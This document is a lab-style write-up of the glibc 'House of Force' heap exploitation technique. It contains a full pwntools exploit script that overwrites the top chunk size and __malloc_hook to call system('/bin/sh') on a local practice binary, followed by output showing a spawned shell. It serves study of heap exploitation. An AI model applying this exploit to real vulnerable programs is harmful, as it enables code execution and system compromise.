House of Force
Technique
Overwrite the top chunk size field with a large value (like 0xFFFFFFFFFFFFFFFF
), then request enough memory to fill the gap between the top chunk and the target data (in this case, __malloc_hook
). Subsequently, replace the __malloc_hook
pointer with the address of the system
function and call malloc
with a pointer to /bin/sh
as an argument to obtain a shell.
Warning
GLIBC version 2.29 introduced a top chunk size field sanity check, which ensures that the top chunk size does not exceed the system_mem
value of its corresponding arena. GLIBC version 2.30 introduced a maximum allocation size check, which limits the size of the gap that the House of Force technique can fill.
Exploit Script
#!/usr/bin/env python3
from pwn import *
delta = lambda x, y: 0xFFFF_FFFF_FFFF_FFFF - x + y & 0xFFFF_FFFF_FFFF_FFFF
def malloc(size, data, shell=False):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"size: ", str(size).encode())
if shell: io.interactive()
io.sendafter(b"data: ", data)
def read_leak():
io.recvuntil(b"puts() @ ")
puts = int(io.recvline().strip(), 16)
io.recvuntil(b"heap @ ")
heap = int(io.recvline().strip(), 16)
return puts, heap
# -----[ CONTEXT ]-----
BINARY = "./house_of_force"
LIBC = "../.glibc/glibc_2.28_no-tcache/libc.so.6"
elf = context.binary = ELF(BINARY)
libc = ELF(LIBC)
# context.log_level = "debug"
# -----[ EXPLOIT ]-----
io = process([BINARY])
# Read the leak & calculate the addresses
puts, heap = read_leak()
libc.address = puts - libc.sym["puts"]
print(f"puts: {hex(puts)}")
print(f"libc: {hex(libc.address)}")
print(f"heap: {hex(heap)}")
system = libc.sym["system"]
malloc_hook = libc.sym["__malloc_hook"]
print(f"system: {hex(system)}")
print(f"malloc_hook: {hex(malloc_hook)}")
# Use "/bin/sh" from the heap or libc
bin_sh_libc = libc.address + 0x177375
bin_sh_heap = heap + 0x30
print(f"bin_sh (libc): {hex(bin_sh_libc)}")
print(f"bin_sh (heap): {hex(bin_sh_heap)}")
# Overwrite the Top Chunk Size with maximum value
top_chunk_size = p64(0xFFFF_FFFF_FFFF_FFFF)
offset = 24
malloc(offset, b"A" * offset + top_chunk_size)
# Fill space until the target (malloc_hook)
distance = delta(heap + 0x20, malloc_hook - 0x20)
print(f"distance: {hex(distance)}")
malloc(distance, b"/bin/sh\x00")
# Overwrite malloc_hook with system
malloc(24, p64(system))
# Trigger the shell
malloc(bin_sh_libc, b"", shell=True)
Execution
$ python3 xpl_house_of_force.py
[+] Starting local process './house_of_force': pid 52901
puts: 0x7857c5a6df10
libc: 0x7857c5a00000
heap: 0x9d3000
system: 0x7857c5a41b70
malloc_hook: 0x7857c5dafc10
bin_sh (libc): 0x7857c5b77375
bin_sh (heap): 0x9d3030
distance: 0x7857c53dcbcf
[*] Switching to interactive mode
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)